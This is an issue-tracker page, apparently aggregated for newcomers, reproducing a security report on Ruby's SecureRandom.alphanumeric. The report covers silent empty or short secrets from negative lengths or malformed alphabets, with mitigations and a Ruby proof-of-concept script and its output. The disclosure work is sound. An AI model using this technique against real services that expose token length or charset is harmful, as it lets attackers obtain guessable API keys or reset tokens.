SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising

Đang mở Phù hợp với người mới
#92 0 bình luận 0 reaction 0 người được giao Xem trên GitHub

Chưa có ai nhận issue này.

Đánh giá

Độ khó
2/5
Thời gian dự kiến
1-3 giờ
Mức phù hợp với người mới
67/100
Loại issue
Lỗi
Độ rõ ràng
Đặc tả rõ ràng
Mức độ hoạt động
Sôi nổi
Công nghệ
ruby
Lĩnh vực
backend, security

Hướng nghiên cứu

Bắt đầu với lib/securerandom.rb:55 và lần theo phần triển khai alphanumeric cùng phương thức choose dùng chung; từ Ruby 3.3 trở lên, hãy kiểm tra cả Random::Formatter. Bổ sung kiểm thử cho độ dài âm và các giá trị chars không hợp lệ, bao gồm cả việc chuỗi trả về có khớp với độ dài được yêu cầu hay không. Hoàn tất khi đầu vào không hợp lệ gây ra ngoại lệ và đầu vào hợp lệ vẫn trả về chính xác số ký tự được yêu cầu.

Do mô hình lập chỉ mục viết ra từ nội dung của issue.

Mô tả

About

Title: SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising
Repository: ruby/securerandom
Location: lib/securerandom.rb:55
Severity: Low
Impacted versions: HEAD, 0.4.1, ruby-3.3 random/formatter.rb, ruby-3.4 random/formatter.rb

Summary

SecureRandom.alphanumeric(n, chars:) documents that n is the number of characters in the
returned string, but it never validates n or the character set and never checks the length
of what it built. A negative n makes both generation loops skip, so the method returns the
empty string. A Hash-like alphabet (for example a JSON/YAML document parsed into a Hash)
makes the internal values_at look up integer keys on a Hash, find nothing, and join the
resulting nils into the empty string. nil and "" elements are joined away and shorten
the result, while multi-character elements lengthen it. In every case the method returns
normally, so the caller has no signal that it did not get the secret it asked for.

Ruby's hex, random_bytes and bytes raise ArgumentError for a negative size, so a caller
reasonably expects alphanumeric(-1) to fail as well. On Ruby 3.3 and later the code is in
the standard library's Random::Formatter; the securerandom gem's compatibility shim for
Ruby 3.1/3.2 calls the same choose method. The library-side fix is to coerce and
range-check n, validate that chars is an Array of at least two non-empty single-character
strings, and assert that the result length equals n before returning it.

Impact

Any caller that relies on the documented length contract can receive a zero- or
low-entropy secret with no error. If a service lets a user or configuration influence the
token length or alphabet (a custom-length API-key or invite-code feature, or a charset
loaded from JSON/YAML), an attacker can force newly issued secrets to be "" or short.
Empty or short API keys, session identifiers, invite codes or password-reset tokens are
trivially guessable, and the application will treat them as if they were strong because no
exception was raised.

The library-side defect is the silent failure: the API cannot be trusted to honour its
stated contract. Whether a particular service reaches account takeover depends on how it
exposes the length or character set to the attacker; a service that only lets a user
choose the length of a token issued to that same user has a weaker (self-inflicted)
problem, while a service with a shared or attacker-influenced length/charset can issue
guessable credentials to other accounts. In both cases the correct behaviour is to fail
loudly rather than return a weaker secret.

Mitigations

Reject non-positive/non-integer n and clamp to a sane maximum; validate the alphabet (must
be an Array of at least 2 non-empty, single-character strings) and reject Hash/other
types; after generation assert the returned string's length equals n and re-raise
otherwise; never let untrusted input choose token length or character set for
security-sensitive values; use a fixed-size random_bytes/hex for secrets.

Examples
example 1

An API-key endpoint accepts a length parameter and passes it to SecureRandom.alphanumeric.
length=-1 returns ""; the empty key is stored and shown to the user as a valid key,
whereas SecureRandom.hex(-1) in the same codebase raises ArgumentError.

example 2

A service loads its allowed character set from JSON into a Hash such as {"a":1,"b":2} (for
example a map of symbols to weights). Passing it as chars: yields "" for every token
because values_at indexes by integer key and gets nil.

example 3

A charset array containing nil or "" (for example from a split that produced empty fields)
shortens every token; multi-character entries such as ["ab","cd"] make it longer than
requested, breaking length assumptions in downstream storage, validation or rate
calculations.

example 4

An invite-code generator asks for 8 characters from a 3-element array that includes a nil.
It stores, on average, several characters fewer than expected, reducing the search space;
a Hash-shaped alphabet reduces it to the single empty token.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: SecureRandom.alphanumeric silently violates its "return n characters"
#      contract and hands back an empty or short secret with NO error, when the
#      caller forwards an attacker-influenced length (or alphabet).
#
# Target : securerandom gem lib/securerandom.rb:55-58
#          (and Ruby >= 3.3 Random::Formatter#alphanumeric -> #choose)
# Effect : a token generator that asks for a 32-char secret gets "" (zero
#          entropy). If n comes from a request (e.g. ?length=) or the alphabet
#          is user/config supplied, an attacker forces every issued token to be
#          the empty string -> trivially guessable reset/API/session tokens.
#
# This attacks the real gem through its public API.

require "securerandom"

puts "== SecureRandom #{SecureRandom::VERSION} - silent length-contract break =="
puts

def show(label, value)
  puts format("  %-52s => %-24s (len=%d)", label, value.inspect, value.length)
end

# Baseline: a well-formed secret.
show("alphanumeric(32)", SecureRandom.alphanumeric(32))

# The failure modes -----------------------------------------------------------
# 1) attacker-supplied negative length instead of a positive one
show("alphanumeric(-1)",         SecureRandom.alphanumeric(-1))
show("alphanumeric(-1000000)",   SecureRandom.alphanumeric(-1000000))

# 2) attacker-supplied alphabet that is Hash-like (e.g. parsed from JSON/YAML:
#    {"a":1,"b":2}) -> values_at indexes by integer key, returns nil -> ""
show("alphanumeric(32, chars: {\"a\"=>1,\"b\"=>2})",
     SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }))

# 3) alphabet whose entries collapse when joined (nil / "") -> short result
r = SecureRandom.alphanumeric(8, chars: [nil, "a", "b"])
show("alphanumeric(8, chars: [nil, \"a\", \"b\"])  (one run)", r)

# 4) multi-character entries blow the length up instead of down
show("alphanumeric(8, chars: [\"ab\",\"cd\"])",
     SecureRandom.alphanumeric(8, chars: ["ab", "cd"]))

puts
puts "For comparison, hex()/bytes() *do* reject a negative size:"
begin
  SecureRandom.hex(-1)
rescue => e
  puts "  SecureRandom.hex(-1) => #{e.class}: #{e.message}"
end
puts

# --- demonstrate the security consequence -----------------------------------
# A minimal, realistic caller: a token issuer that lets the client choose the
# length of the key it is about to mint (a common "custom length" option).
def issue_api_key(length_param)
  n = Integer(length_param)          # client-controlled
  SecureRandom.alphanumeric(n)       # trusts the length contract
end

puts "[*] token issuer using an attacker-supplied ?length= :"
[32, -1].each do |len|
  key = issue_api_key(len)
  verdict = key.empty? ? "EMPTY -> guessable" : "ok"
  puts format("    ?length=%-6s issues key %-10s (len=%d)  %s", len, key.inspect, key.length, verdict)
end
puts

if SecureRandom.alphanumeric(-1).empty? &&
   SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }).empty?
  puts "[+] RESULT: alphanumeric returned a zero-length secret with no exception."
  puts "    A caller that supplied ?length=-1 (or a map-shaped charset) just"
  puts "    handed the attacker the empty string as the token."
  exit 0
else
  puts "[-] contract violation not reproduced on this host."
  exit 2
end
stdout
== SecureRandom 0.4.1 - silent length-contract break ==

  alphanumeric(32)                                     => "orH2W1smeQb3i4eKzzAnAYUHTErQ9ow3" (len=32)
  alphanumeric(-1)                                     => ""                       (len=0)
  alphanumeric(-1000000)                               => ""                       (len=0)
  alphanumeric(32, chars: {"a"=>1,"b"=>2})             => ""                       (len=0)
  alphanumeric(8, chars: [nil, "a", "b"])  (one run)   => "abbbb"                  (len=5)
  alphanumeric(8, chars: ["ab","cd"])                  => "cdcdcdabcdabcdab"       (len=16)

For comparison, hex()/bytes() *do* reject a negative size:
  SecureRandom.hex(-1) => ArgumentError: negative string size (or size too big)

[*] token issuer using an attacker-supplied ?length= :
    ?length=32     issues key "PxibdjNJoL6ZR8QRO5vATkEK5ZPd09e6" (len=32)  ok
    ?length=-1     issues key ""         (len=0)  EMPTY -> guessable

[+] RESULT: alphanumeric returned a zero-length secret with no exception.
    A caller that supplied ?length=-1 (or a map-shaped charset) just
    handed the attacker the empty string as the token.
Ngôn ngữ chính
Ruby
Star
76
Fork
17
Merge trung bình
42 phút
Pull request đã merge (30 ngày)
5

Chuẩn bị môi trường

Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.

Bắt đầu từ đâu

  1. Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
  2. Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
  3. Fork repository và làm thay đổi trên một nhánh.
  4. Mở pull request có tham chiếu số hiệu của issue.

Issue khác của ruby/securerandom

Tất cả issue của ruby/securerandom

Issue tương tự

Thêm issue về Ruby

Nhận issue mới trong hộp thư của bạn

Bản tóm tắt ngắn những issue GitHub phù hợp với người mới.